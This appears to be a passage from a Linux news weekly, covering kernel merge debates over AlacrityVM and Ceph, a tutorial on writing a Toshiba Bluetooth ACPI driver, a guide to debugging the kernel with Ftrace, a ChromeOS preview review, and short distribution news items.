Sun CEO Scott McNealy once remarked that free software is like a free puppy. There is some truth to that remark in general, and with respect to code pulled into the kernel in particular. The code itself comes for free, with a nice, GPL-compatible license attached to it. But the kernel maintainers know that this new code is likely to make a few messes around the house and chew up their favorite pair of slippers before it is properly trained. It also must be fed and taken for an occasional visit to the veterinarian for years into the future. So it is important to be sure that, at a minimum, this is a puppy that users actually want. That is why Linus is asking for users to express their support for proposed new features.

Getting that support can be a bit of a catch-22 situation, though. It takes a dedicated user indeed to grab an in-progress patch and build it into their own kernel; most users will not do that. Life can be easier if distributions package proposed code, giving users a chance to test it out without having to build and install a new kernel, but distributors can get into trouble for doing that. The recent fuss over Nouveau was a clear example of unhappiness about shipping out-of-tree kernel code. Similarly, a few years ago, SUSE shipped AppArmor without merging it first, drawing this complaint from Andrew Morton:

But getting the customers to request the software - within hearing of Linus Torvalds - before it has been either merged or shipped to them can indeed seem like rocket science at times.

There has been at least one public request for the merging of Ceph in a future development cycle. The bar may be even higher for AlacrityVM, though. There does not appear to be crowd of users asking for a new set of virtualized device drivers which are meant to be used with an out-of-tree virtualization mechanism. Beyond that, past discussions about this code have been long and heated, with some significant disagreements between AlacrityVM developer Gregory Haskins and (in particular) the KVM developers.

This history led Ingo Molnar to post a reminder of flame wars past and a request that Gregory try harder to work with the KVM development community. Needless to say, this posting has started another extensive discussion, with Gregory stating that he has tried hard indeed to work with the other developers, and that, in any case, the current AlacrityVM posting, which consists mostly of drivers, is not relevant to KVM. From there, the discussion moved into whether this work is really necessary, the best approaches to improving I/O performance in virtualized guests, and so on.

It's not clear that there is an obvious solution to this particular disagreement other than having serious users try out the various solutions and report on what works best. That will be hard to do with an out-of-tree virtualization solution, but the existence of this kind of controversy will only make getting the code into the mainline harder. Linus was quite clear on that:

This code was developed by SUSE, which, presumably, wishes to provide AlacrityVM to its customers. This may be one of those situations where the distributor has no choice but to ship the code ahead of mainline integration, just to get the user feedback that shows it's worthwhile. That course has risks: the code may never be merged, or it may suffer incompatible changes on its way into the mainline later on. But the alternative may be to see this code languish on the sideline indefinitely.

Comments (3 posted)

Writing an ACPI driver - an introduction

The Advanced Configuration and Power Interface specification (ACPI) was introduced to replace the myriad of differing protocols for providing configuration data to the operating system. It additionally provided a new power control specification to replace APM, moving policy decisions out of the hard-coded BIOS and into the operating system. Since then it's had a number of extensions implementing all kinds of functionality, variously specified and unspecified. Hardware vendors have seized upon this to implement their own custom "value add" interfaces, taking advantage of the existing specified functionality while adding their own non-standard extensions.

In this article we'll be looking at writing a driver to manage a persistent irritation on Toshiba hardware: the case of the missing Bluetooth. Some Toshibas will boot without Bluetooth, or will manage to lose it somewhere between being suspended and resumed. Sometimes it'll be there until the owner hits the rfkill switch, at which point it's gone no matter how plaintively the user flicks the switch back and forth. In short, the Bluetooth interface is fickle, flaky and not to be relied upon. We're lucky, though. Toshiba implemented their Bluetooth control in the form of an ACPI device. At this point some of you may feel that this is some unusual meaning of the word "lucky", but it's really not as bad as it could be.

First, we'll need one of the ACPI tables. ACPI tables are sections of information provided to the operating system by the BIOS; they contain either blocks of configuration information or, alternatively, executable code in a compiled bytecode called AML. The table that we want is the "Discrete System Descriptor Table", or DSDT. This provides a set of configuration information and control methods for the system hardware. On Linux, it can be found in /sys/firmware/acpi/tables/DSDT. We need to decompile it from the AML bytecode to ASL (ACPI Source Language), which can be done with iasl - the Intel ACPI compiler. This will typically be available as a package in distributions but can also be downloaded as source from acpica.org . The -d option to iasl decompiles an executable table to something resembling the original source. For reference there's an example of a decompiled DSDT here, and it contains the devices and methods discussed in the rest of this article.

Looking at the decompiled DSDT, the first thing we realise is that there's a huge pile of junk and extraneous configuration in here, so let's try to find something useful. First of all, let's look for interesting devices. ACPI device names are limited to four characters, which is generally not helpful in finding something interesting from scratch. Thankfully there's also the _HID string, which provides a tag for identifying the type of device. These strings use the same namespace as old ISA PNP devices, so some of them may be familiar to those of you who spent too long cursing at IRQ and IO settings in the bad old days. So ignore anything with a _HID tag that starts with PNP - it's some piece of standardized system hardware that's unlikely to be doing anything interesting.

On this Toshiba, that leaves us with 5 devices - NSC1100, SMCF030, TOS6205, ACPI0003 and TOS6208. According to the ACPI specification, ACPI0003 is an AC adapter. So ignore that. Google says that NSC1100 is a TPM device. SMCF030 is an infrared port. So that leaves TOS6205 and TOS6208, which look something like this:

    Device (BT)
    {
	Name (_HID, "TOS6205")
	...
    }

    Device (VALZ)
    {
	Name (_HID, "TOS6208")
	...
    }

VALZ turns out to be the generic event and control interface for all kinds of other bits of laptop functionality. There's already a driver for this in the kernel (toshiba_acpi.c), so let's ignore that. The one called BT certainly sounds like a better bet, so TOS6205 it is.

At this point we can write a skeleton driver that does nothing other than bind to this ACPI device. It's only a few lines of code to do that, and it's consistent between all ACPI drivers. All we need to do is register an ACPI driver structure with add and remove functions. These will be called whenever the kernel finds an ACPI device with the TOS6205 ID, and we can do further setup there.

    #include <linux/kernel.h>
    #include <linux/module.h>
    #include <linux/init.h>
    #include <linux/types.h>
    #include <acpi/acpi_bus.h>
    #include <acpi/acpi_drivers.h>

    static int toshiba_bt_rfkill_add(struct acpi_device *device);
    static int toshiba_bt_rfkill_remove(struct acpi_device *device, int type);

    static const struct acpi_device_id bt_device_ids[] = {
        { "TOS6205", 0},
        { "", 0},
    };
    MODULE_DEVICE_TABLE(acpi, bt_device_ids);

    static struct acpi_driver toshiba_bt_driver = {
        .name =         "Toshiba BT",
        .class =        "Toshiba",
        .ids =          bt_device_ids,
        .ops =          {
                                .add =          toshiba_bt_rfkill_add,
                                .remove =       toshiba_bt_rfkill_remove,
                        },
	.owner =	THIS_MODULE,
    };

    static int toshiba_bt_rfkill_add(struct acpi_device *device)
    {
	return 0;
    }

    static int __init toshiba_bt_rfkill_init(void)
    {
        int result = 0;

        result = acpi_bus_register_driver(&toshiba_bt_driver);
        if (result < 0) {
                ACPI_DEBUG_PRINT((ACPI_DB_ERROR,
                                  "Error registering driver\n"));
                return -ENODEV;
        }

        return 0;
    }

    static int toshiba_bt_rfkill_remove(struct acpi_device *device, int type)
    {
	return 0;
    }

    static void __exit toshiba_bt_rfkill_exit(void)
    {
        acpi_bus_unregister_driver(&toshiba_bt_driver);
    }

    module_init(toshiba_bt_rfkill_init);
    module_exit(toshiba_bt_rfkill_exit);

Now what? Let's look at the device's methods. These are functions associated with the device, and will typically be declared in the same scope block. For the Toshiba Bluetooth device, we see something like this:

    Device (BT)
    {
	Name (_HID "TOS6205")
	Method (_STA, 0, Notserialized)
	{
		...
	}
	Method (AUSB, 0, Notserialized)
	{
		...
	}
	Method (DUSB, 0, Notserialized)
	{
		...
	}
	Method (BTPO, 0, Notserialized)
	{
		...
	}
	Method (BTPF, 0, Notserialized)
	{
		...
	}
	Method (BTST, 0, Notserialized)
	{
		...
	}
    }

The device has an _STA method. Methods with a leading _ are supposed to be reserved for the ACPI specification. _STA is defined as returning the device status, and, in this case, will tell us whether the TOS6205 device is functional or not. If there's no Bluetooth on the machine, it'll return zero. The ACPI core handles this for us, so we can ignore it.

The other methods are BTST, AUSB, DUSB, BTPO and BTPF. Working out what these do can be awkward. The DSDT I'm looking at (and which is linked above) has methods that read and write from a set of objects which reflect the hardware state in some way. DUSB writes a zero to an object called BTDT, while AUSB writes one to it. BTPF writes a zero to an object called BTPW, while BTPO writes one to it. BTST returns a byte with the value of BTSW in the low bit, BTDT in bit six, and BTPW in bit seven. Looking at the DSDT, we can see that BTDT, BTPW and BTSW are defined in a block that looks like this:

    OperationRegion (ERAM, EmbeddedControl, 0x00, 0xFF)
    Field (ERAM, ByteAcc, Lock, Preserve) {
        BTDT, 1
	BTPW, 1
	...
	BTSW, 1
	...
    }

An OperationRegion is ACPI speak for an addressable system resource - it may refer to an area of memory, system IO space, a PCI configuration block or (in this case) the registers of the system embedded controller. Objects can be declared within that block in order to let the ACPI code read and write to them. In this case, BTDT, BTPW and BTSW all refer to sections of the embedded controller register space. The number after the comma is the number of bits the object takes up, so we now know that BTDT is the first bit of the first byte-sized register of the embedded controller, BTPW the second bit and BTSW the fifth. Writing to these values will probably cause the embedded controller (a microprocessor running its own firmware) to perform some act in return - alternatively, an external event (such as flicking a switch) may generate an event picked up by the embedded controller and causing it to update a register's contents.

(Side note: generally speaking, accessing the embedded controller registers directly from the operating system is an error. Vendors may alter the embedded controller firmware and the layout of the bits between different models or even different BIOS versions. When this happens, ACPI methods will be updated to match - so if there's an ACPI method to call to interface with the embedded controller, use that rather than trying to drive it directly. This kind of thing can also act in our favour - ACPI interfaces tend to be retained over a range of models, even if the underlying hardware has changed dramatically. One machine may make an opaque system management call in response to an ACPI method, while another with the same method may return a register directly. By comparing the tables from different machines with the same interface, it's often possible to learn more about what these methods are actually meant to do).

We can make pretty good guesses about what's going on here. BTST returns a set of register values, so is probably the BlueTooth device STatus. BTSW presumably contains the state of the kill switch on the laptop. BTPW sounds like it's the power state - so if BTPF and BTPO change that, they're presumably BlueTooth Power ofF and BlueTooth Power On. AUSB and DUSB sound like Attach USB and Detach USB.

So at this point, we have enough knowledge of the interface to implement a Bluetooth enabler driver. On module load we should check the switch status. If it's on, we should enable the Bluetooth.

    static int toshiba_bluetooth_enable(acpi_handle handle)
    {
	acpi_status result;
	acpi_integer status;

	result = acpi_evaluate_integer(handle, "BTST", NULL, &status);

	if (ACPI_FAILURE(result))
	    return -EINVAL;

	/* Check the current status */
	if (!(status & (1 << 0))) /* The switch is off */
	    return -EBUSY;

	if (!(status & (1 << 6))) /* The device is detached - attach it */
	    result = acpi_evaluate_object(handle, "AUSB", NULL, NULL);

	if (ACPI_FAILURE(result)) {
	    printk(KERN_ERR "Failed to reattach Toshiba Bluetooth device\n");
	    return -ENODEV;
	}

	if (!(status & (1 << 7))) /* The device isn't powered up */
	    result = acpi_evaluate_object(handle, "BTPO", NULL, NULL);

	if (ACPI_FAILURE(result)) {
	    printk(KERN_ERR "Failed to power on Toshiba Bluetooth device\n");
	    return -ENODEV;
	}

	return 0;
    }

    static int toshiba_bt_rfkill_add(struct acpi_device *device)
    {
        return toshiba_bluetooth_enable(device->handle);
    }

acpi_evaluate_object() asks the kernel's ACPI interpreter to find a method underneath a specific area of namespace (in this case, the namespace of the device that we've bound to - the first argument provides that), with the third and fourth arguments providing the arguments to be passed to the function and the results returned from the function respectively. acpi_evaluate_integer() is similar, but assumes that the method is going to return an integer.

(Random stylistic sidepoint: When looking at individual bits inside a returned integer, I find it neater to refer to the 0th bit as "1 << 0" rather than 1. There's no especially good reason for this).

Ok. What about when the user flicks the switch back? ACPI can catch various hardware events and then signal them to the operating system. This is done via the "Notify" keyword. Grepping for "Notify" in the DSDT reveals a pile of cases we don't care about, but also a couple of lines like:

    Notify (BT, 0x90)

The first argument to notify is the device to be notified. The kernel will check whether a driver is bound to this device, and if so will pass the notification on to the driver. 0x90 is simply the event type - numbers below 0x80 are device-independent and defined by the ACPI specification, whereas those above are device-specific and only defined by the ACPI specification if the device itself is defined by the ACPI specification. Toshiba has presumably defined what 0x90 means, but given that it's the only event sent by the device we'll just assume it means "Reattach the Bluetooth device". This machine doesn't seem to send an event when Bluetooth device is turned off, but that's less of a concern because the USB device vanishes anyway - there's nothing we need to do in response. Anyway, let's hook up a notification function.

    .ops = {
		.add =          toshiba_bt_rfkill_add,
		.remove =       toshiba_bt_rfkill_remove,
		.notify =       toshiba_bt_rfkill_notify,
            },

    static void toshiba_bt_rfkill_notify(struct acpi_device *device, u32 event)
    {
	toshiba_bluetooth_enable(device->handle);
    }

We ignore the event type in this case because some machines seem to send different numbers here, and we don't really get useful information from it. Other devices may use different event values to indicate the type of event that's been received, and in those cases you'd want to check it appropriately.

At this point we now have a driver that enables Bluetooth at boot (if it's enabled) and responds to the switch being flicked by enabling Bluetooth again. The only remaining case is the one where the user turned off Bluetooth while the system was running, suspended and then flicked the switch back to enable. Let's check again on resume.

    .ops = {
		.add =          toshiba_bt_rfkill_add,
		.remove =       toshiba_bt_rfkill_remove,
		.notify =       toshiba_bt_rfkill_notify,
		.resume =       toshiba_bt_rfkill_resume,
            },

    static int toshiba_bt_rfkill_resume(struct acpi_device *device)
    {
	toshiba_bluetooth_enable(device->handle);
	return 0;
    }

And that's it - a fully functional ACPI driver. The TOS6205 device is one of the simplest ACPI devices I've found, but the principle is the same for any other. In more complex cases you'll want to expose some kind of userspace interface to perform method calls on the device. These should use standard kernel interfaces wherever possible. Backlight control should be carried out via the backlight class, device hotkeys should be sent via an input device and more complex radio control should use the rfkill layer. More device-specific functionality may require you to add sysfs attributes directly, which is somewhat outside the scope of this article.

It would be nice to hope for these ACPI interfaces to become standardized over time, but unfortunately there seems to be little willingness on the part of the companies involved to do so. Some vendors are even moving away from using ACPI directly and are instead using WMI interfaces - a mechanism intended for exposing system management information to Windows applications, but easily subverted into a general purpose control system with even less transparency than pure ACPI. But that's a subject for a different article, and there are still many pieces of hardware with pure ACPI interfaces and no drivers written as yet.

Comments (18 posted)

Debugging the kernel using Ftrace - part 2

The Ftrace tracing utility has many different features that will assist in tracking down Linux kernel problems. The previous article discussed setting up Ftrace, using the function and function graph tracers, using trace_printk(), and a simple way to stop the recording of a trace from user space. This installment will touch on how user space can interact with Ftrace, faster ways of stopping the trace, debugging a crash, and finding what kernel functions are the biggest stack hogs.

Trace Markers

Seeing what happens inside the kernel gives the user a better understanding of how their system works. But sometimes there needs to be coordination between what is happening in user space and what is happening inside the kernel. The timestamps that are shown in the traces are all relative to what is happening within the trace, but they do not correspond well with wall time.

To help synchronize between the actions in user space and kernel space, the trace_marker file was created. It provides a way to write into the Ftrace ring buffer from user space. This marker will then appear in the trace to give a location in the trace of where a specific event occurred.

    [tracing]# echo hello world > trace_marker
    [tracing]# cat trace
    # tracer: nop
    #
    #           TASK-PID    CPU#    TIMESTAMP  FUNCTION
    #              | |       |          |         |
               <...>-3718  [001]  5546.183420: 0: hello world

The <...> indicates that the name of the task that wrote the marker was not recorded. Future releases may fix this.

Starting, Stopping and Recording in a Program

The tracing_on and trace_marker files work very well to trace the activities of an application if the source of the application is available. If there is a problem within the application and you need to find out what is happening inside the kernel at a particular location of the application, these two files come in handy.

At the start of the application, you can open these files to have the file descriptors ready:

    int trace_fd = -1;
    int marker_fd = -1;

    int main(int argc, char **argv)
    {
	    char *debugfs;
	    char path[256];
	    [...]

	    debugfs = find_debugfs();
	    if (debugfs) {
		    strcpy(path, debugfs);  /* BEWARE buffer overflow */
		    strcat(path,"/tracing/tracing_on");
		    trace_fd = open(path, O_WRONLY);
		    if (trace_fd >= 0)
			    write(trace_fd, "1", 1);

		    strcpy(path, debugfs);
		    strcat(path,"/tracing/trace_marker");
		    marker_fd = open(path, O_WRONLY);

Then, at some critical location in the code, markers can be placed to show where the application currently is:

    if (marker_fd >= 0)
	    write(marker_fd, "In critical area\n", 17);

    if (critical_function() < 0) {
	    /* we failed! */
	    if (trace_fd >= 0)
		    write(trace_fd, "0", 1);
    }

In looking at the example, first you see a function called "find_debugfs()". The proper location to mount the debug file system is at /sys/kernel/debug but a robust tool should not depend on the debug file system being mounted there. An example of find_debugfs() is located here. The file descriptors are initialized to -1 to allow this code to work both with and without a tracing enabled kernel.

When the problem is detected, writing the ASCII character "0" into the trace_fd file descriptor stops tracing. As discussed in part 1, this only disables the recording into the Ftrace ring buffer, but the tracers are still incurring overhead.

When using the initialization code above, tracing will be enabled at the beginning of the application because the tracer runs in overwrite mode. That is, when the trace buffer fills up, it will remove the old data and replace it with the new. Since only the most recent trace information is relevant when the problem occurs there is no need to stop and start the tracing during the normal running of the application. The tracer only needs to be disabled when the problem is detected so the trace will have the history of what led up to the error. If interval tracing is needed within the application, it can write an ASCII "1" into the trace_fd to enable the tracing.

Here is an example of a simple program called simple_trace.c that uses the initialization process described above:

    req.tv_sec = 0;
    req.tv_nsec = 1000;
    write(marker_fd, "before nano\n", 12);
    nanosleep(&req, NULL);
    write(marker_fd, "after nano\n", 11);
    write(trace_fd, "0", 1);

(No error checking was added due to this being a simple program for example purposes only.)

Here is the process to trace this simple program:

    [tracing]# echo 0 > tracing_on
    [tracing]# echo function_graph > current_tracer
    [tracing]# ~/simple_trace
    [tracing]# cat trace

The first line disables tracing because the program will enable it at start up. Next the function graph tracer is selected. The program is executed, which results in the following trace. Note that the output can be a little verbose so much of it has been cut and replaced with [...]:

    [...]
     0)               |      __kmalloc() {
     0)   0.528 us    |        get_slab();
     0)   2.271 us    |      }
     0)               |      /* before nano */
     0)               |      kfree() {
     0)   0.475 us    |        __phys_addr();
     0)   2.062 us    |      }
     0)   0.608 us    |      inotify_inode_queue_event();
     0)   0.485 us    |      __fsnotify_parent();
    [...]
     1)   0.523 us    |          _spin_unlock();
     0)   0.495 us    |    current_kernel_time();
     1)               |          it_real_fn() {
     0)   1.602 us    |  }
     1)   0.728 us    |            __rcu_read_lock();
     0)               |  sys_nanosleep() {
     0)               |    hrtimer_nanosleep() {
     0)   0.526 us    |      hrtimer_init();
     1)   0.418 us    |            __rcu_read_lock();
     0)               |      do_nanosleep() {
     1)   1.114 us    |            _spin_lock_irqsave();
    [...]
     0)               |      __kmalloc() {
     1)   2.760 us    |  }
     0)   0.556 us    |        get_slab();
     1)               |  mwait_idle() {
     0)   1.851 us    |      }
     0)               |      /* after nano */
     0)               |      kfree() {
     0)   0.486 us    |        __phys_addr();

Notice that the writes to trace_marker show up as comments in the function graph tracer.

The first column here represents the CPU. When we have the CPU traces interleaved like this, it may become hard to read the trace. The tool grep can easily filter this, or the per_cpu trace files may be used. The per_cpu trace files are located in the debugfs tracing directory under per_cpu.

    [tracing]# ls per_cpu
    cpu0  cpu1  cpu2  cpu3  cpu4  cpu5  cpu6  cpu7

There exists a trace file in each one of these CPU directories that only show the trace for that CPU.

To get a nice view of the function graph tracer without the interference of other CPUs just look at per_cpu/cpu0/trace.

    [tracing]# cat per_cpu/cpu0/trace
     0)               |      __kmalloc() {
     0)   0.528 us    |        get_slab();
     0)   2.271 us    |      }
     0)               |      /* before nano */
     0)               |      kfree() {
     0)   0.475 us    |        __phys_addr();
     0)   2.062 us    |      }
     0)   0.608 us    |      inotify_inode_queue_event();
     0)   0.485 us    |      __fsnotify_parent();
     0)   0.488 us    |      inotify_dentry_parent_queue_event();
     0)   1.106 us    |      fsnotify();
    [...]
     0)   0.721 us    |    _spin_unlock_irqrestore();
     0)   3.380 us    |  }
     0)               |  audit_syscall_entry() {
     0)   0.495 us    |    current_kernel_time();
     0)   1.602 us    |  }
     0)               |  sys_nanosleep() {
     0)               |    hrtimer_nanosleep() {
     0)   0.526 us    |      hrtimer_init();
     0)               |      do_nanosleep() {
     0)               |        hrtimer_start_range_ns() {
     0)               |          __hrtimer_start_range_ns() {
     0)               |            lock_hrtimer_base() {
     0)   0.866 us    |              _spin_lock_irqsave();
    [...]
     0)               |      __kmalloc() {
     0)               |        get_slab() {
     0)   1.851 us    |      }
     0)               |      /* after nano */
     0)               |      kfree() {
     0)   0.486 us    |        __phys_addr();

Disabling the Tracer Within the Kernel

During the development of a kernel driver there may exist strange errors that occur during testing. Perhaps the driver gets stuck in a sleep state and never wakes up. Trying to disable the tracer from user space when a kernel event occurs is difficult and usually results in a buffer overflow and loss of the relevant information before the user can stop the trace.

There are two functions that work well inside the kernel: tracing_on() and tracing_off(). These two act just like echoing "1" or "0" respectively into the tracing_on file. If there is some condition that can be checked for inside the kernel, then the tracer may be stopped by adding something like the following:

    if (test_for_error())
	    tracing_off();

Next, add several trace_printk()s (see part 1), recompile, and boot the kernel. You can then enable the function or function graph tracer and just wait for the error condition to happen. Examining the tracing_on file will let you know when the error condition occurred. It will switch from "1" to "0" when the kernel calls tracing_off().

After examining the trace, or saving it off in another file with:

cat trace > ~/trace.sav

you can continue the trace to examine another hit. To do so, just echo "1" into tracing_on, and the trace will continue. This is also useful if the condition that triggers the tracing_off() call can be triggered legitimately. If the condition was triggered by normal operation, just restart the trace by echoing a "1" back into tracing_on and hopefully the next time the condition is hit will be because of the abnormality.

ftrace_dump_on_oops

There are times that the kernel will crash and examining the memory and state of the crash is more of a CSI science than a program debugging science. Using kdump/kexec with the crash utility is a valuable way to examine the state of the system at the point of the crash, but it does not let you see what has happened prior to the event that caused the crash.

Having Ftrace configured and enabling ftrace_dump_on_oops in the kernel boot parameters, or by echoing a "1" into /proc/sys/kernel/ftrace_dump_on_oops, will enable Ftrace to dump to the console the entire trace buffer in ASCII format on oops or panic. Having the console output to a serial log makes debugging crashes much easier. You can now trace back the events that led up to the crash.

Dumping to the console may take a long time since the default Ftrace ring buffer is over a megabyte per CPU. To shrink the size of the ring buffer, write the number of kilobytes you want the ring buffer to be to buffer_size_kb. Note that the value is per CPU, not the total size of the ring buffer.

    [tracing]# echo 50 > buffer_size_kb

The above will shrink the Ftrace ring buffer down to 50 kilobytes per CPU.

You can also trigger a dump of the Ftrace buffer to the console with sysrq-z.

To choose a particular location for the kernel dump, the kernel may call ftrace_dump() directly. Note, this may permanently disable Ftrace and a reboot may be necessary to enable it again. This is because ftrace_dump() reads the buffer. The buffer is made to be written to in all contexts (interrupt, NMI, scheduling) but the reading of the buffer requires locking. To be able to perform ftrace_dump() the locking is disabled and the buffer may end up being corrupted after the output.

    /*
     * The following code will lock up the box, so we dump out the
     * trace before we hit that location.
     */
    ftrace_dump();

    /* code that locks up */

Stack Tracing

The final topic to discuss is the ability to examine the size of the kernel stack and how much stack space each function is using. Enabling the stack tracer (CONFIG_STACK_TRACER) will show where the biggest use of the stack takes place.

The stack tracer is built from the function tracer infrastructure. It does not use the Ftrace ring buffer, but it does use the function tracer to hook into every function call. Because it uses the function tracer infrastructure, it does not add overhead when not enabled. To enable the stack tracer, echo 1 into /proc/sys/kernel/stack_tracer_enabled. To see the max stack size during boot up, add "stacktrace" to the kernel boot parameters.

The stack tracer checks the size of the stack at every function call. If it is greater than the last recorded maximum, it records the stack trace and updates the maximum with the new size. To see the current maximum, look at the stack_max_size file.

    [tracing]# echo 1 > /proc/sys/kernel/stack_tracer_enabled
    [tracing]# cat stack_max_size
    2928
    [tracing]# cat stack_trace
            Depth    Size   Location    (34 entries)
            -----    ----   --------
      0)     2952      16   mempool_alloc_slab+0x15/0x17
      1)     2936     144   mempool_alloc+0x52/0x104
      2)     2792      16   scsi_sg_alloc+0x4a/0x4c [scsi_mod]
      3)     2776     112   __sg_alloc_table+0x62/0x103
    [...]
     13)     2072      48   __elv_add_request+0x98/0x9f
     14)     2024     112   __make_request+0x43e/0x4bb
     15)     1912     224   generic_make_request+0x424/0x471
     16)     1688      80   submit_bio+0x108/0x115
     17)     1608      48   submit_bh+0xfc/0x11e
     18)     1560     112   __block_write_full_page+0x1ee/0x2e8
     19)     1448      80   block_write_full_page_endio+0xff/0x10e
     20)     1368      16   block_write_full_page+0x15/0x17
     21)     1352      16   blkdev_writepage+0x18/0x1a
     22)     1336      32   __writepage+0x1a/0x40
     23)     1304     304   write_cache_pages+0x241/0x3c1
     24)     1000      16   generic_writepages+0x27/0x29
    [...]
     30)      424      64   bdi_writeback_task+0x3f/0xb0
     31)      360      48   bdi_start_fn+0x76/0xd7
     32)      312     128   kthread+0x7f/0x87
     33)      184     184   child_rip+0xa/0x20

Not only does this give you the size of the maximum stack found, it also shows the breakdown of the stack sizes used by each function. Notice that write_cache_pages had the biggest stack with 304 bytes being used, followed by generic_make_request with 224 bytes of stack.

To reset the maximum, echo "0" into the stack_max_size file.

    [tracing]# echo 0 > stack_max_size

Keeping this running for a while will show where the kernel is using a bit too much stack. But remember that the stack tracer only has no overhead when it is not enabled. When it is running you may notice a bit of a performance degradation.

Note that the stack tracer will not trace the max stack size when the kernel is using a separate stack. Because interrupts have their own stack, it will not trace the stack usage there. The reason is that currently there is no easy way to quickly see what the top of the stack is when the stack is something other than the current task's stack. When using split stacks, a process stack may be two pages but the interrupt stack may only be one. This may be fixed in the future, but keep this in mind when using the stack tracer.

Conclusion

Ftrace is a very powerful tool and easy to configure. No extra tools are necessary. Everything that was shown it this tutorial can be used on embedded devices that only have Busybox installed. Taking advantage of the Ftrace infrastructure should cut the time needed to debug that hard-to-find race condition. I seldom use printk() any more because using the function and function graph tracers along with trace_printk() and tracing_off() have become my main tools for debugging the Linux kernel.

Comments (1 posted)

A quick and grumpy look at ChromeOS

There is a lot of change happening in the "desktop" computing area currently, and various groups are trying to figure out how to best support users in the future. One entity with a big stake in the outcome is Google, which has responded with a couple of operating systems of its own: Android for small platforms, and ChromeOS for netbook-like devices. ChromeOS is not meant to be generally available until sometime around the end of 2010, but a preview version was released in late November.

Having been through the challenge of rebuilding Android, your editor was not in a great hurry to try to make a working version of ChromeOS. Happily, that proved not to be necessary: the folks at Dell put together a ChromeOS build for the 10v, one of which your editor recently acquired to play with Moblin. It was just a small matter of downloading the 7.5GB USB image - a task requiring only a few days with your editor's less-than-impressive DSL connectivity. Of course, during that time, the install image was replaced with another which weighs in at a mere 320MB. Progress is always a wonderful thing to behold.

Booting the image is straightforward enough; after about 15 seconds, ChromeOS comes up with a blue login screen. This being a Google product, it should not be surprising that login names are Gmail account names; the system will nicely add the @gmail.com should the user forget about it. Of course, ChromeOS does not come up with a functioning network on the 10v, leading one to wonder just how the login credentials can be validated. ChromeOS can remember login information, but only after a successful login. Your editor was forced to resort to actually reading the instructions, wherein he learned to use the default dell@gmail.com account that comes wired into the downloaded system.

As has been reported elsewhere, ChromeOS presents itself primarily as a web browser. The instructions on the Dell site suggest that it should be possible to get a terminal window, but your editor never succeeded in that goal. It was all Chromium, all the time. As a web browser, it works well enough, but your editor does not spend all of his time messing around on the web, occasional appearances to the contrary notwithstanding.

A small icon in the upper left corner leads to the screen shown on the right. This screen would seem to nicely characterize the ChromeOS experience, at least in this stage of its development. It's all logos for services - generally commercial services - available out on the net somewhere. ChromeOS, it seems, is the ultimate consumer's system. It seems like the logical evolution of the television set. Indeed, one could argue that, like a television, the main reason for the existence of ChromeOS seems to be to show advertisements.

Now, one should use great care in coming to conclusions about an operating system that is nearly a year away from a real release. Things will certainly evolve considerably over the coming months, and ChromeOS can only acquire useful features which are not available in this preview. But the emphasis of this system seems clear: ChromeOS is designed to be a thin front-end, with the real computing happening elsewhere, preferably at Google.

Your editor's review of Moblin-based distributions on the same device had a mixed conclusion. But it must be said: the Moblin approach looks quite a bit more interesting (to your editor) than the ChromeOS approach on these small devices. Moblin, too, has a strong focus on ensuring that the user can distribute wisdom on Twitter and Facebook with as few obstacles as possible. But Moblin is also a Linux system which is more than happy to let the user under the hood and to install and run applications locally. A Moblin system is still a Linux computer; a ChromeOS system - at least, in this stage of its development - seems much more like a closed appliance.

Comments (13 posted)

Nexenta Core Platform 3.0 Alpha2 Released

The Nexenta project has announced the availability of the Nexenta Core Platform 3.0 alpha2. This is the second release in NCP3. "The main changes over the Alpha1 release include: * move from Opensolaris b124 to b124 b129. This brings the long awaited ZFS deduplication support to the distribution. * Many additional network drivers. * nexenta-on-source changes."

Full Story (comments: 2)

openSUSE: Linux for Education Updated

The openSUSE Education team has announced the availability of the updated Li-f-e hybrid ISO. "Unlike the official openSUSE release, the Edu project's Li-f-e flavor will get updated almost on a monthly basis. These minor releases will contain all the official openSUSE 11.2 updates, some important package version updates and may be addition of new features too. With these gradual improvements we are hoping to make one of the best Education OS even better."

Full Story (comments: none)

Red Hat Bugzilla 3.4 RC

The Red Hat Bugzilla team has announced the release candidate of the next version of Red Hat Bugzilla based on the upstream 3.4 code base. "Over the years Red Hat has made substantial customizations to Bugzilla to fit into the Engineering tool chain. Over time the upstream has incorporated some of these customizations or solved them in different ways. Upgrading reduces our customization footprint (and thus maintenance) while bringing many bug fixes & enhancements."

Full Story (comments: 1)

Fedora 10 End of Life

As of December 17, Fedora 10 has stopped receiving support; there will be no more security updates for this distribution. In fact, the final updates went out on the 11th; among other things, that means that the latest Firefox vulnerabilities will not be fixed. Fedora 10 users should probably be thinking about moving to a more recent release.

Full Story (comments: 29)

Red Hat to Drop Itanium Support in Enterprise Linux 6 (PC World)

Red Hat is dropping support for the Itanium processor in Red Hat Enterprise Linux (RHEL) 6 according to a PC World article. "Dropping support for Itanium makes economic sense for Red Hat, according to Chris Ingle, research director for IDC's European Systems Group. The number of Itanium-based servers sold is likely not high enough for Red Hat to justify spending its resources on supporting a version of Enterprise Linux for this processor."

Comments (19 posted)

Ubuntu 10.04 will bring panel overhaul, social network menu (ars technica)

Ars technica looks forward to some desktop changes planned for Ubuntu 10.04. "The second part of Canonical's grand plan for panel perfection is a concept that the company calls the Me Menu. Based partly on Ubuntu's current presence applet, the new Me Menu will serve as a one-stop shop for configuring messaging status and social networks. Designed by Ubuntu founder Mark Shuttleworth himself, the Me Menu is expected to be one of the highlights of Ubuntu 10.04."

Comments (28 posted)

Minutes from the Ubuntu Technical Board meeting, 2009-12-15

Click below for the minutes of the December 15, 2009 meeting of the Ubuntu Technical Board. Topics include UnitsPolicy, Status of ARM port, Archive reorganization, Execute Permission Policy, and a Check up on community bugs.

Full Story (comments: none)

DistroWatch Weekly, Issue 334

The DistroWatch Weekly for December 21, 2009 is out. "It is fascinating to see how Linux is used in real-world situations, where it often proves to be an outstanding solution at very little cost. This week's feature article presents SheevaPlug, a $99 mini-computer not much larger than an electric plug. Inside it, there is an ARM-based processor, some RAM, and a Flash storage device - just enough for a creative geek to set it up as a low-cost MythTV server with Debian GNU/Linux. Read on to find out more about this unusual system. In the news section, Mark Shuttleworth announces that he will step down as the CEO of Canonical early next year, Mandriva announces a new edition of its Linux operating system that boots in less than 10 seconds, Omega releases a Fedora remix that includes multimedia codecs and other conveniences not shipped in Fedora itself, and Linux Mint has good news for those who prefer the project's fast and lightweight edition with Fluxbox. Also not to be missed, a link to an interview with openSUSE community manager Joe Brockmeier and a look at the current state of Linux Standard Base. As always, happy reading and see you all in 2010!"

Comments (none posted)

Fedora Weekly News 207

